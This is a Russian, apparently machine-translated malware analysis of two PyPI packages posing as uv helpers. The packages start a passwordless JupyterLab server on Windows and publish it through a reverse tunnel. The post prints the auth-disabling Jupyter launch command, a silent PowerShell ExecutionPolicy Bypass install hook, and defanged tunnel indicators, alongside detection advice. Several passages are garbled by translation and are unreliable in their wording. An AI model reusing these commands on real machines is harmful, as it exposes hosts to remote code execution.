TL, д-р
Группа пакетов PyPI позаимствовала название... uvБыстрый и чрезвычайно популярный менеджер пакетов Python на основе Rust, выдающий себя за UV-помощники, практически не содержит никакой реальной функциональности. Вместо этого он содержит полезную нагрузку для Windows, которая запускает... Сервер JupyterLab с отключенной аутентификацией. а в более поздних версиях публикует его в общедоступный интернет через обратный туннель.
Вот и вся история в одной строчке: Название проверенного инструмента используется в качестве приманки, а JupyterLab — в качестве механизма удаленного выполнения кода. Сервер Jupyter выполняет любой введенный вами код в ячейку.ebook Ячейка, запущенная с пустым токеном и привязанная к каждому сетевому интерфейсу, представляет собой открытый интерпретатор, которым может управлять любой, кто имеет доступ к порту.
Мы отслеживаем кластер следующим образом: Фальшивый УФРассмотрены два пакета: moon-uv (0.0.1-0.0.16) и my-magic-uv-helper (0.0.1), опубликованный тем же оператором и доступный на PyPI на момент анализа.
| Экосистема | PyPI |
| Packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Целевая платформа | Windows |
| Основное поведение | Неаутентифицированный сервер JupyterLab, опубликованный в интернете через обратный туннель. |
| Законные инструменты использовались не по назначению. | uv, JupyterLab, cloudflared, Pinggy |
Привлекательность: имя, которому вы уже доверяете.
uv является одним из наиболее часто устанавливаемых инструментов Python за последние два года, поэтому «вспомогательный инструмент для uv«Это пакет, который разработчик устанавливает, не задумываясь. FauxUV полностью полагается на это название, чтобы завоевать доверие пользователей. Пакеты представляют собой обертки для...» подлинный uv Установщик от Astral — URL-адреса в полезной нагрузке указывают на реальные, заслуживающие доверия хосты, поэтому при беглом взгляде видны только надежные ссылки. Ни один из пакетов фактически не добавляет ничего нового. uv функциональность; название — это всего лишь маскировка.
JupyterLab в качестве механизма удаленного выполнения (RCE)
Центральным элементом полезной нагрузки является пусковая установка, которая запускает JupyterLab, убрав все защитные механизмы:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Каждый флаг снимает защиту, и прилагаемый скрипт даже добавляет к ним аннотации (в оригинале на китайском языке): пустой токен. «Отключает проверку паролей и токенов — подключиться может кто угодно». ЮпитерЛаб является полноценной IDE для анализа данных, но не являетсяebook Ячейка по своей природе выполняет произвольный код. Так сконфигурирована и привязана к 0.0.0.0В результате он перестаёт быть IDE и превращается в неаутентифицированную удалённую оболочку на хосте — никаких специальных вредоносных программ не требуется, просто обычный инструмент, направленный в неправильном направлении.
Два вспомогательных элемента делают это достижимым и воспроизводимым:
- Триггер для тихой установки. Ранние версии запускали PowerShell с помощью -ExecutionPolicy Bypass прямо из setup.py on пип установитьв фоновом режиме с подавленными ошибками, поэтому типун Выглядит нормально. В более поздних версиях тот же примитив перемещен в... пип-ув инструмент командной строки — и полностью отказаться от автоматического запуска во время установки.
- Общедоступный туннель обратного направления. Сервер на 0.0.0.0 Доступ к нему по-прежнему возможен только для хостов, которые могут маршрутизировать трафик к машине. Встроенный модуль открывает [Pinggy](https://pinggy.io/Обратный SSH-туннель, перенаправляющий локальный порт Jupyter на публичный адрес, снимая это ограничение. В поставляемом скрипте также есть — закомментированный — альтернативный путь с использованием Cloudflare. вспыхнуло облаком и Netsh Перенаправление портов на IP-адрес Linode, документирование одной и той же цели через различную инфраструктуру.
В итоге: после установки пакета на компьютере под управлением Windows запускается JupyterLab без пароля, который затем публикуется в открытом доступе в интернете.
Как развивалась технология FauxUV
Версии, выпущенные компанией FauxUV, выходили одна за другой с небольшим интервалом, и точка срабатывания полезной нагрузки перемещалась между ними — это напоминание о том, что одна отмеченная версия редко отражает полную картину всей производственной линии.
| Этап | Версии | Вызывать | Что это добавляет |
|---|---|---|---|
| Инсталляционный хук | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py при установке через pip | uv install + PATH prepend |
| Среда выполнения командной строки | moon-uv 0.0.5-0.0.13 | pip-uv команду | средство запуска JupyterLab без пароля |
| Тоннель | moon-uv 0.0.14-0.0.16 | pip-uv команду | активный обратный туннель Пингги |
Примечательно, что автоматический запуск во время установки был удаленный в более поздних, более функциональных версиях — то есть сканер, работающий только по жизненному циклу. hooks Я бы оценил новые релизы следующим образом: Меньше Рискованно, всё наоборот.
Индикаторы компромисса
Подтверждено путем изучения исходного кода пакета; отмечены конечные точки. заявила Присутствуют в файлах, но не выполняются анализируемой версией. Сетевые индикаторы дезактивированы.
| Тип | Индикаторные |
|---|---|
| Установить команду | powershell -ExecutionPolicy Bypass Загрузка подлинного установщика UV во время установки через pip. |
| Флаги JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Обратный туннель (активный) | free[.]pinggy[.]io:443 пересылка локальных 127.0.0.1:8888 |
| Хост туннеля (закомментировано) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (с комментариями) | 45[.]79[.]134[.]161 (Линод) через netsh port-proxy |
| Настойчивость | Добавляет %USERPROFILE%\.local\bin к пути пользователя |
Поведенческие сигналы, заслуживающие внимания, независимо от этих конкретных строк: а пип установить который порождает powershell -ExecutionPolicy Bypass; Любые юпитер запуск объединения token=”” с –ip=0.0.0.0; и исходящий SSH к *.pinggy.io с компьютера разработчика или системы непрерывной интеграции.
Наблюдаемое поведение и происхождение
Оба пакета имеют общего автора и общий метод: имя доверенного инструмента, ограничение доступа только для Windows, подавление ошибок при фоновом выполнении и опора на проверенные инструменты, поэтому при беглом просмотре видны только надежные URL-адреса. Исходный код содержит комментарии на китайском языке, четко описывающие флаги, имеющие отношение к безопасности; мы сообщаем о них как о наблюдаемых утверждениях в файле, а не как о мотивах. allow_origin ценность и colab.bat filename echo — это неформальные рабочие процессы «поделиться моей локальной средой выполнения», которые распространены в Google Colab. Независимо от происхождения, результат упаковки один и тот же.
Влияние и рекомендации для защитников
Кто подвергается воздействию псевдо-УФ-излучения? Разработчики под управлением Windows и специалисты по непрерывной интеграции, которые пип установить один из этих пакетов. JupyterLab без пароля на 0.0.0.0 Это удаленное выполнение кода для любого, кто может получить доступ к порту; туннель снимает ограничение на то, «кто может получить доступ». Сервер запускается от имени пользователя, устанавливающего систему, и наследует файлы, токены и учетные данные облачного сервиса этого пользователя.
Почему это легко упустить из виду. Каждая сетевая строка указывает на надежный хост — Astral, JupyterLab, вспыхнуло облаком, Pinggy, Colab. Нет вредоносного бинарного файла для хеширования и нет обфусцированного блока для расшифровки. Сканирование на основе репутации и сигнатур недооценивает это, поэтому поведенческий вопрос — Что происходит с машиной после установки этого пакета? — это тот, кто его подхватит.
Руководство:
- Учитывайте время установки. powershell -ExecutionPolicy Bypass в качестве сигнала, приводящего к сбою сборки, независимо от того, какой URL-адрес он получает.
- Предупреждение юпитер запущен с пустым токеном и –ip=0.0.0.0Такое сочетание клавиш никогда не должно появляться на рабочей станции или устройстве для запуска программ.
- Мониторинг исходящих SSH-сообщений к провайдерам туннелирования (*.pinggy.io, *.trycloudflare.com) из среды разработки и CI.
- Установите uv из [его официального источника](https://docs.astral.sh/uv/) и скептически относитесь к сторонним «вспомогательным» пакетам, которые представляют собой обертку для инструмента, установка которого и так не представляет сложности.
- При обновлении закрепляйте и пересматривайте зависимости — в одной версии пакета могут появляться новые возможности от версии к версии.



